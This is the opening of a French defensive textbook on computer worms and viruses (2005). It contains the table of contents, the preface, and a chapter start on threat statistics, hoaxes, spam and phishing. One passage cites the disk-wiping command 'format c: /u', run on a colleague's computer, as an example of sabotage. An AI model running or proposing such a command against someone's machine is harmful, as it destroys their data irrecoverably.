Sunteți pe pagina 1din 324

EXPLOITATION & ADMINISTRATION

VERS & VIRUS


Classification, lutte anti-virale et perspectives
Franois Paget

VERS & VIRUS


Classification, lutte anti-virale et perspectives

Scurit des Architectures Web Plouin, Soyer, Trioullier 496 pages Dunod, 2004

Anti Spam : Kit de survie Kevin Gallot 208 pages Dunod, 2004

Les IDS Les systmes de dtection dintrusions informatiques Thierry Evangelista 272 pages Dunod, 2004

Sous la direction de

Philippe Ros

VERS & VIRUS


Classification, lutte anti-virale et perspectives
Franois Paget
Chercheur anti-virus chez McAfee Membre fondateur de lAVERT

Illustration de couverture : Jeremy Woodhouse/Iguazu Falls, Brazil Source : digitalvision

Dunod, Paris, 2005 ISBN 2 10 008311 2

Table des matires

Avant propos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Chapitre 1 Les multiples aspects de la malveillance . . . . . . . . . . . . . . 1.1 La scurit des systmes dinformation 1.1.1 Les menaces . . . . . . . . . . . . 1.1.2 La malveillance . . . . . . . . . . 1.1.3 Les attaques logiques. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

IX 1 1 2 3 4 5 6 8 11 14 15 17 18 19 19 33 35 35 36 37 37 38

1.2 Les messages non sollicits (sans pice jointe) 1.2.1 Les rumeurs ou hoaxes . . . . . . . . . . 1.2.2 Les lettres chanes . . . . . . . . . . . . . 1.2.3 Le spamming . . . . . . . . . . . . . . . 1.2.4 Le scam africain . . . . . . . . . . . . . . 1.2.5 Le phishing . . . . . . . . . . . . . . . .

1.3 Les messages non sollicits (avec pice jointe) . . . . . . . . . . . . . . . 1.4 Farces et canulars. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.5 Les infections informatiques . . . . . . . . . . . . . . . . . . . . . . . . . 1.5.1 Les programmes simples . . . . . . . . . . . . . . . . . . . . . . . . . 1.5.2 Les programmes auto reproducteurs . . . . . . . . . . . . . . . . . . . Chapitre 2 Historique de linnocence la tentation criminelle . . . . . . 2.1 John Louis von Neumann . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2 Les premires expriences . . . . . 2.2.1 CREEPER & REAPER . . . 2.2.2 Animal et Pervade . . . . . . . 2.2.3 Maintenance et tldistribution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

IV

Vers & virus

2.3 La science-fiction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.1 Harlie avait un an . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.2 Sur londe choc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4 APPLE II . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4.1 Elk Cloner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4.2 Anti-Congo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.5 Fred Cohen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.6 Les premiers vers . . . . . . . . . . . . . . . . . 2.6.1 BITNET : IBM Christmas Tree . . . . . . . 2.6.2 INTERNET : RTM Worm . . . . . . . . . 2.6.3 DECNET : Father Christmas Worm . . . . 2.6.4 DECNET : Worms Against Nuclear Killers . 2.7 1986-1987 : Premires infections . . 2.7.1 BRAIN . . . . . . . . . . . . 2.7.2 Ralf Burger & Berdn Fix . . . . 2.7.3 Les universits en premire ligne 2.7.4 Larrive du cryptage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

38 39 39 40 40 41 41 43 43 43 44 44 45 45 46 46 47 47 47 48 48 50 51 52 53 54 54 56 58 59 59 61 63 64 64 65 66

2.8 1988 : Les premiers antivirus pour ibm pc . . . . . . . 2.8.1 Virus Antivirus . . . . . . . . . . . . . . . . . . . 2.8.2 Monitoring de programme . . . . . . . . . . . . . 2.8.3 DATACRIME : Lantivirus est au commissariat ! . 2.8.4 Recherche par signature . . . . . . . . . . . . . . . 2.10 1989 2.10.1 2.10.2 2.10.3 2.10.4 2.10.5 2.10.6 2.11 1992 2.11.1 2.11.2 2.11.3 1992 : Investigation et challenge. . . . Le vengeur tnbreux . . . . . . . . . . . 1260 : Le premier virus polymorphe . . . . Flip, Tequila ET Maltese Amoeba . . . . Tous azimuts pour les virus et les anti-virus La riposte des chercheurs . . . . . . . . . . Michelangelo . . . . . . . . . . . . . . . . 1995 : Gnrateurs et sophistication . Natas, One_Half et les autres . . . . . . Quelques arrestations . . . . . . . . . . Goodtimes & Gt-Spoof . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

2.9 Lnigme du premier macro-virus. . . . . . . . . . . . . . . . . . . . . . .

2.12 1995 1999 Larrive des virus interprtes . . . . . . . . . . . . . . . . 2.12.1 WM/Concept . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.12.2 W95/Boza & Linux/Staog by Quantum . . . . . . . . . . . . . . . . .

Table des matires

2.12.3 2.12.4 2.12.5 2.12.6 2.13 1999 2.13.1 2.13.2 2.13.3 2.13.4 2.13.5 2.13.6

Linvasion des macro-virus . . . . . . . . La naissance de Network Associates Inc. . Le retour des virus programme . . . . . . Rabbit : Le lapin ! . . . . . . . . . . . .

. . . .

. . . .

. . . .

. . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

67 69 70 71 72 72 74 75 78 79 79 80 81 83 84 87 87 88 89 92 94 94 96 96 97 99 100 101 101 101 104 106 107 107 107 107 111

2000 Linvasion des MASS-MAILERS . Happy 99 . . . . . . . . . . . . . . . . . . . . . Melissa . . . . . . . . . . . . . . . . . . . . . . LoveLetter . . . . . . . . . . . . . . . . . . . . Kak, le Cagou contre Bubbleboy . . . . . . . . . VBS/Timofonica . . . . . . . . . . . . . . . . . Autour des PDA PalmOS/Phage . . . . . . . .

2.14 2001 2003 Un discret changement de cap . . . . . . . . . . . . . . . 2.15 Lt 2003 : ce sont principalement les particuliers qui trinquent ! . . . . 2.16 Janvier 2004 : W32/MYDOOM.A@MM . . . . . . . . . . . . . . . . . . 2.17 suivre . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Chapitre 3 Notions fondamentales . . . . . . . . . . . . . . . . . . . . . . . 3.1 Les virus par cibles . . 3.1.1 Virus systme . . 3.1.2 Virus interprtes . 3.1.3 Virus programme . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Dunod La photocopie non autorise est un dlit

3.2 Les vers par types. . . . . . . . 3.2.1 Vers ou virus . . . . . . . 3.2.2 Vers de disquettes . . . . . 3.2.3 Vers de rseaux locaux . . 3.2.4 Vers de messagerie . . . . . 3.2.5 Vers en mode poste poste 3.2.6 Vers de lInternet . . . . .

3.3 Les virus/vers par fonctionnalit . . 3.3.1 Anti-debugging . . . . . . . . 3.3.2 Du cryptage au metamorphisme 3.3.3 Virus dfensif Retro-virus . . 3.3.4 Furtivit . . . . . . . . . . . . 3.3.5 Infecteur rapide . . . . . . . . 3.3.6 Cocktail . . . . . . . . . . . .

3.4 La classification des virus . . . . . . . . . . . . . . . . . . . . . . . . . . 3.4.1 Les virus de premire gnration . . . . . . . . . . . . . . . . . . . . . 3.4.2 Leffort de standardisation actuel . . . . . . . . . . . . . . . . . . . .

VI

Vers & virus

3.5 Les autres environnements . . . . . . . . . . . . . . . . . . . . . . . . . . 127 3.5.1 OS/2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127 3.5.2 MacOS. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 3.5.3 UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 Chapitre 4 Les virus systme . . . . . . . . . . . . . . . . . . . . . . . . . . 131 4.1 Mise en marche dun micro-ordinateur. . . . . . . . . . . . . . . . . . . . 131 4.1.1 Lorganisation de la mmoire . . . . . . . . . . . . . . . . . . . . . . . 133 4.1.2 Les interruptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134 4.2 Mode de propagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 4.3 Attaque du boot. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 Secteur damorce dune disquette . Secteur damorce dun disque dur . Structure dune disquette . . . . . Structure dun disque dur . . . . . Le virus Form . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 139 140 141 142

4.4 Attaque du MBR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 146 4.4.1 Structure du secteur des partitions . . . . . . . . . . . . . . . . . . . . 146 4.4.2 Le virus Jumper.B . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148 4.5 Techniques avances . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150 4.5.1 4.5.2 4.5.3 4.5.4 4.5.5 4.5.6 4.5.7 Modification de la CMOS . . . . . . Furtivit . . . . . . . . . . . . . . . Inaccessibilit au disque . . . . . . . . Utilisation de secteurs supplmentaires Non-sauvegarde du secteur dorigine . Multipartisme . . . . . . . . . . . . Polymorphie . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150 151 151 153 154 154 154

4.6 Spcificit des OS. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154 Chapitre 5 Les virus programme . . . . . . . . . . . . . . . . . . . . . . . . 157 5.1 Modes dinfection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 5.1.1 5.1.2 5.1.3 5.1.4 5.1.5 5.1.6 Recouvrement . . . . . . . Ajout . . . . . . . . . . . . Infection par cavit simple . Infection par fractionnement Dlocaliss . . . . . . . . . Compagnons . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 158 159 162 163 164 164

Table des matires

VII

5.2 Lenvironnement 32 bits . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.2.1 Structure dun fichier 32 bits . . . . . . . . . . . . . . . . . . . . . . . 5.2.2 Quelques mthodes dinfection . . . . . . . . . . . . . . . . . . . . . . Chapitre 6 Les vers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.1 Activation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.2 Classification . . . . . . . . 6.2.1 Langage interprte . . . 6.2.2 Langage compil . . . . 6.2.3 Mthodes de rplication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

165 166 173 193 193 194 194 203 204 211 211 213 216 217 217 219 219 220 220 221 221 222 225 228 229 231 231 235 235 236 237 237 238 238 239

Chapitre 7 Macro-virus et virus de script . . . . . . . . . . . . . . . . . . . 7.1 Macro-virus . . . . . . . . . . . . . . . . . . . . . . . 7.1.1 Mode de Fonctionnement sous Word . . . . . . . 7.1.2 Mode de fonctionnement sous Excel et PowerPoint 7.1.3 Un cas particulier : XF/PAIX . . . . . . . . . . . 7.1.4 Virus sous Access . . . . . . . . . . . . . . . . . 7.2 Virus de script . . . . . 7.2.1 VBScript . . . . . 7.2.2 Java et JavaScript . 7.2.3 Traitement par lot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Chapitre 8 Les logiciels anti-virus . . . . . . . . . . . . . . . . . . . . . . . 8.1 Les mthodes de dtection . . . . 8.1.1 La recherche par signature . . 8.1.2 La recherche gnrique . . . . 8.1.3 Le contrle dintgrit . . . . 8.1.4 La recherche heuristique . . . 8.1.5 Le monitoring de programmes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Dunod La photocopie non autorise est un dlit

8.2 Les principaux concepteurs de produits anti-virus . . . . . . . . . . . . . Chapitre 9 Organiser la lutte anti-virale . . . . . . . . . . . . . . . . . . . . 9.1 Les grandes rgles respecter . . . . . 9.1.1 Les ressources propres lutilisateur 9.1.2 Les ressources partages . . . . . . 9.1.3 Les passerelles . . . . . . . . . . . 9.1.4 Le monde extrieur . . . . . . . . 9.1.5 La dimension humaine . . . . . . . 9.1.6 La politique des mises jour . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

VIII

Vers & virus

9.2 Techniques de protection. . . . . 9.2.1 Les anciennes mthodes . . . . 9.2.2 Les suites office . . . . . . . . 9.2.3 Internet explorer . . . . . . . 9.2.4 Outlook et Outlook Express . 9.2.5 Windows Scripting Host . . . 9.2.6 Simples et doubles extensions . 9.2.7 Lextension SHS . . . . . . . 9.2.8 Paramtres rseau . . . . . . 9.3 Choisir son anti-virus . . . . . 9.3.1 Les benchmarks . . . . . 9.3.2 Se faire sa propre opinion . 9.3.3 Testez votre anti-virus . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

239 240 240 241 242 244 244 246 247 249 249 250 251

9.4 Le poids dune infection virale pour lentreprise . . . . . . . . . . . . . . . 253 Chapitre 10 Dernires volutions et perspectives . . . . . . . . . . . . . . . 259 10.1 Les buts recherchs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260 10.2 Envahir nos machines. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261 10.3 Saffranchir de lutilisateur, gagner en vitesse, diminuer en taille . . . . . . 267 10.3.1 CODERED . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 267 10.3.2 SLAMMER . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269 10.4 Utiliser des failles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 271 10.5 Distribuer une porte drobe . . . . . . . . . . . . . . . . . . . . . . . . . 277 10.6 Porter atteinte la confidentialit . . . . . . . . . . . . . . . . . . . . . . 280 10.7 Faire la collecte de mots de passe. . . . . . . . . . . . . . . . . . . . . . . 280 10.8 Savoir se mettre jour . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283 10.9 Intgrer de multiples techniques de propagation. . . . . . . . . . . . . . . 286 10.10 Investir les modes poste poste . . . . . . . . . . . . . . . . . . . . . . . 287 10.11 Usurper intelligemment les adresses. . . . . . . . . . . . . . . . . . . . . 288 10.12 Rechercher laval de lutilisateur . . . . . . . . . . . . . . . . . . . . . . 288 10.13 Linvasion des robots . . . . . . . . . . . . . . . . . . . . . . . . . . . . 291 10.14 Conclusion : la fin de lenfantillage Lappt du gain . . . . . . . . . . . 295 Abrviations et glossaire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 297 Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305

Avant propos

Lide dcrire ce livre mest venue aprs avoir cout les interrogations et les commentaires de nombreux curieux. Parfois disponibles au sein dactes de confrences quasi privs ou lintrieur de revues la diffusion limite, il mest trs vite apparu que beaucoup dinformations taient introuvables. Cette constatation ma encourag poursuivre ma dmarche. Mme si mon but initial fut dintresser le plus grand nombre, ce livre cible un public dinformaticiens et de spcialistes. Je souhaite leur montrer une autre vision du phnomne virus : celle du chasseur et non pas celle du crateur. Vous napprendrez pas crire des virus mais, au l des chapitres, vous comprendrez mieux comment on les combat. Pour dbuter notre voyage, nous positionnerons les infections informatiques dans la pyramide scuritaire. Nous en droulerons ses diverses facettes pour comprendre qui est qui et qui fait quoi dans cette nbuleuse malveillante. An de comprendre les enjeux actuels, il est indispensable de connatre lhistoire du phnomne virus. Il sagit dune histoire passionnante avec une tonnante galerie de personnages. Elle est pleine de rebondissements et se rapproche parfois du triller et de la science-ction. Par cette dcouverte nous entrerons dans le cur du sujet. Sachant ou se situe notre ennemi et quelle est son histoire, nous le dcrirons dans ses multiples formes. Les divers types de virus et de vers seront dclins selon leurs cibles et leurs attributs. Avec les virus programmes, nous rentrerons dans le cur du mtier. Ce chapitre, ainsi que celui ddi aux vers, risque deffrayer certains lecteurs. Il me fallait trouver une mthode pour vous amener voir avec lil du chercheur. Jai donc mani lhexadcimal et la visualisation des chiers quil nous propose. En vous faisant apprhender la structure interne des chiers modernes jai voulu donner une forte plus-value ce livre. Nous aborderons ensuite la protection anti-virale dans ses aspects thoriques, pratiques autant que mthodologiques. Ayant expliqu les mthodes, des pistes seront ouvertes pour aider le professionnel dans sa qute dun bon anti-virus.

Vers & virus

Les produits du march sont souvent performants, ils nexcluent pas la mise en pratique de quelques conseils de conguration qui se doivent de les complter. Pour conclure, partant des faits marquants depuis lan 2000, ce livre dmontrera que les auteurs de virus daujourdhui ne cherchent plus, ni dtruire, ni dtriorer des informations. Il mettra jour leurs buts actuels qui, plus discrets, sont souvent bien plus prjudiciables. Voil donc litinraire de ce livre. Pour prolonger le parcours, de nombreux liens bibliographiques vous seront offerts tout au long de votre lecture. Si le jargon technique vous laissait un temps dsorient, un glossaire que jai souhait important et un index devraient vous aider retrouver votre chemin.

1
Les multiples aspects de la malveillance

Pour dmarrer cet ouvrage, il me semble utile de repositionner le phnomne virus dans son contexte. Les nombreux programmes malveillants qui circulent ne sont pas tous des virus et la confusion rgne dans nombreux esprits. Celle ci est entretenue par le fait que bon nombre danti-virus dtectent ces programmes sans toujours les distinguer. Alors que les spcialistes se complaisent dans un jargon parfois hermtique, la presse gnraliste souvent tendance voir un virus derrire chaque attaque quelle mdiatise. Dans ce chapitre nous allons partir du sommet de la pyramide des risques en prenant soin de dcliner chaque aspect de la malveillance. Souvent laide dexemples, nous dtaillerons tout particulirement les attaques logiques et les programmes simples. Nous aurons ainsi une vue densemble de tout ce qui nest pas viral : linventaire des activits nfastes mais non auto-reproductrices.

1.1 LA SCURIT DES SYSTMES DINFORMATION


Lcole Nationale Suprieure des Techniques Avances (ENSTA) a dfinie la scurit des systmes dinformation comme lensemble des moyens humains et matriels permettant un systme, sappuyant sur des moyens automatiss de traitement et dchange dinformation, de rsister aux agressions qui compromettraient son bon fonctionnement . La scurit physique du matriel, la sret des traitements, la scurit des informations et la lutte contre la fraude informatique forment les aspects principaux de la scurit. Face eux, les vecteurs dagression peuvent tre dorigine naturelle ou humaine et sattaquer aux matriels comme aux logiciels.

Chapitre 1. Les multiples aspects de la malveillance

Tout comme dautres acteurs de la malveillance, les auteurs des virus avec leurs crations portent atteinte la sret des traitements et des informations. Certaines nouvelles fonctionnalits quils mettent en uvre sapparentent parfois la fraude informatique. Pour rpondre aux risques informatiques, pour sauvegarder son patrimoine industriel, assurer son bon fonctionnement et garantir sa prennit, une entreprise doit tre sre de son systme dinformation. Elle doit en assurer sa condentialit, son intgrit et sa disponibilit. Connu sous labrviation CID, ce premier triptyque, est troitement li un second : accident-erreur-malveillance. Cette classication des menaces permet lanalyse des risques informatiques selon leur cause premire principale. Les virus informatiques sont du domaine de la malveillance ; ils ont des rpercussions en terme de condentialit, dintgrit et de disponibilit.

1.1.1 Les menaces


La malveillance a t longtemps considre comme la principale cause des pertes dues linformatique. Les premires tudes franaises ont t menes entre les annes 1984 et 1996. LAPSAD (Assemble Plnire des Socits dAssurances Dommages) et le CLUSIF (Club de la Scurit des Systmes dInformation Franais) indiquaient que plus de 60 % des pertes dues des sinistres informatiques relevaient dactes malveillants. En 1998, lAPSAD poursuivait seule ltude et conrmait ce point de vue :
Risques accidentels Erreurs Malveillance 420 M (2750 MF) 305 M (2000 MF) 1340 M (8780 MF) 20 % 15 % 65 %

De son cot, le CLUSIF1 prfra orienter ses tudes annuelles en terme de survenance, de moyens mis en uvre et de risques redouts. Lenqute quil mit au point repose sur les dclarations dentreprises franaises. Environ 600 dentres elles et une centaine de collectivits publiques y rpondent chaque anne. En 2001, les infections virales taient situes en 3me position parmi les incidents au plus fort taux doccurrence cit. Depuis 2002, elles prennent la premire place mme si elles sont souvent considres comme incident de scurit et non pas sinistre.

1. Ltude du CLUSIF intitule Politiques de scurit des systmes dinformation et sinistralit en France Bilan 2003 est disponible en version PDF en suivant le lien : https://www.clusif.asso.fr/fr/production/sinistralite/docs/etude2003.pdf. Les versions prcdentes sont galement disponibles sur le site de lassociation.

1.1 La scurit des systmes dinformation

Tableau 1.1 Survenance des Sinistres Informatiques CLUSIF 2000/2003 % dentreprises concernes Principaux types de sinistre 2000 Infection par virus Panne interne Vol Perte de services essentiels Erreur dutilisation vnement naturel 11,5 16,6 6,6 13,4 23,9 4,6 2001 14,8 18,5 3,6 16,9 11,9 1 2002 26,3 19,7 6,7 22,6 14,4 5,2 35 18 15 10 8 3 2003

Lorsque les entreprises sont interroges sur les risques qui les menacent , elles citent en premier les infections informatiques. Mme si les personnes interroges subissent linuence des mdias et malgr une tendance la baisse (62 % en 2001 contre 52 % en 2003) on a ici conrmation de limportance porte au phnomne.
Tableau 1.2 Perception des risques venir CLUSIF 2001-2003 % dentreprises concernes Type de risque 2001 Virus ou infection informatique Accident dorigine interne Accident dorigine externe Intrusion externe lentreprise sans altration
Dunod La photocopie non autorise est un dlit

2002 58 29 25 16 17 17 8 3 7 4 52 36 17 15 9 8 2 2 1

2003

62 35 13 13 13 16 8 2 7 1

Erreur dutilisation Vol ou disparition de matriel ou de logiciel Erreur de conception Atteinte limage Attaque cible Chantage ou fraude

1.1.2 La malveillance
Nous naborderons pas dans le dtail les risques accidentels et les erreurs.

Chapitre 1. Les multiples aspects de la malveillance

Les premiers regroupent principalement les accidents physiques comme les incendies, les vnements naturels comme les inondations et les temptes, les pannes matrielles ou logicielles et les pertes de services essentiels comme les pannes dlectricit. Les seconds peuvent survenir la conception, la ralisation ou lors de lutilisation . Ils concernent aussi bien les logiciels que les procdures dapplication.

Figure 1.1 Les formes prises par la malveillance

La malveillance inclue toute action humaine visant voler ou dtriorer un matriel, porter prjudice aux ressources dun systme, sy maintenir sans autorisation et en tirer des prots illicites. Les grves et le dtournement dheures de travail font aussi partie de cette catgorie. Lutilisation non autorise ou abusive des ressources du systme conduit souvent une perte dintgrit ou de disponibilit de certaines informations ; cet aspect de la malveillance prend souvent le nom dattaque logique et conduit la plupart du temps un sabotage immatriel. Cest cet aspect que nous allons maintenant dvelopper.

1.1.3 Les attaques logiques


Avant de dtailler les infections informatiques et les virus, il est bon de dfinir les autres lments perturbateurs qui gravitent dans leur environnement. Nous ne nous tendrons ni sur la dsinformation, ni sur le sabotage manuel. Nous indiquerons simplement que : la dsinformation est une technique de manipulation de linformation utilise pour tromper ceux qui est destine la fausse information . Des personnes ou des socits sont nominativement mises en cause dans le but de leur nuire et de dtriorer leur image de marque, le sabotage manuel concerne lexcution malveillante de commandes conduisant la falsification de donnes ou la modification/destruction de procdures dexploitation ou de sauvegardes Lexcution volontaire de la commande : format c: /u

1.2 Les messages non sollicits (sans pice jointe)

sur le poste dun collgue de travail en est un exemple. Son but est le formatage du disque. Le commutateur /u efface toutes les donnes du disque, ce qui rend leur rcupration impossible par les outils standards de rcupration.

Figure 1.2 Classification des attaques logiques

1.2 LES MESSAGES NON SOLLICITS (SANS PICE JOINTE)


Nous recevons tous de tels messages. Certains nous sont personnellement destins : un ami, une connaissance, souhaite nous faire part dune information quelle considre srieuse et digne de foi. Dautres sont lis un multi postage excessif destination dadresses collectes en parcourant les sites Web, les groupes de discussion ou les listes de distribution. Ces messages nont gnralement aucune pice jointe. Ils appartiennent 5 grandes catgories : les rumeurs, en anglais hoaxes : informations malveillantes et non fondes qui sont diffuses pour inquiter les destinataires ou discrditer une personne ou un organisme, les lettres chanes : messages sappuyant sur la crdibilit des destinataires faisant appel la pit, la gnrosit et/ou la superstition et proposant ventuellement un enrichissement personnel, les messages, souvent caractre commercial, sappuyant ventuellement sur une usurpation dadresse lectronique. Ce sont ces courriers non sollicits qui prennent en anglais le nom de spam1 et que le public franais a maintenant intgr dans son vocabulaire, les arnaques financires tel que le scam africain et les loteries : messages vous proposant un montage financier attractif ou, plus directement une importante somme dargent derrire lesquels se cache une escroquerie qui sarticule autour dune demande davance de fond de la part de la victime,
1. Cette expression serait issue dun sketch des Monthy Python dans lequel le mot spam (contraction de spice ham aliment, genre mortadelle, vendu en boite) est constamment rpt an de pousser les auditeurs en devenir consommateurs.

Dunod La photocopie non autorise est un dlit

Chapitre 1. Les multiples aspects de la malveillance

Le phishing, opration malveillante descroquerie qui consiste rcuprer des donnes personnelles et financires par le biais denvoi massif demails non sollicits. Phishing veut dire fishing (pcher) crit avec le ph comme dans le jargon pirate (phreaking).

1.2.1 Les rumeurs ou hoaxes


Colporter des rumeurs est une occupation vieille comme le monde. Le site franais de Hoaxbuster1 se dfinit comme la premire ressource francophone sur les canulars du Web . Il propose, en franais, un inventaire rgulirement mis jour de toutes ces rumeurs que nous allons maintenant dtailler. Tous ces messages renferment les mmes ingrdients : lexistence dun enjeu ou intrt significatif, le sensationnalisme. La rumeur est de nature appter les mdias qui en sont avides (recherche de scoop), lopinion publique qui y est sensible, ou une communaut Internet particulire. La prsentation est accrocheuse, laccrditation par des relais connus et dignes de foi (CNN, Microsoft, McAfee), lexistence dembryons de preuves pour que la rumeur ne soit pas rejete demble mais, dans le doute, bien prise en compte, lincitation la propagation. Outre lencombrement du rseau, ils reprsentent deux risques majeurs : la lassitude et la perversion. Le terme anglophone de hoax leur est gnralement attribu.

Les faux virus


Notre premier exemple de rumeur concerne le monde viral. Il sagit de messages vous alertant de larrive imminente dun nouveau virus hautement destructeur et pour lequel les anti-virus sont inefficaces. Ce ne sont pas des virus informatiques, mais plutt une forme de virus social, ou encore de virus mental. La contagion consiste a transmettre le message davertissement. La multiplication de ces messages nest pas sans danger. Elle peut, dune part, favoriser lindiffrence face une alerte relle mise par un diteur anti-virus. Elle peut, dautre part, sduire un auteur de virus qui sera tent de se lapproprier en y adjoignant un virus bien rel. Ce cas sest dj produit plusieurs fois : VBS/LoveLetter.AJ@MM apparu en juin 2000 contenait un texte avec 3 rumeurs diffrentes sur des faux virus, VBS/Wobble@MM (alias LostSoul) apparu en septembre 2000 affichait un message relatif la rumeur du mme nom (Wobbler).
1. http://www.hoaxbuster.com

1.2 Les messages non sollicits (sans pice jointe)

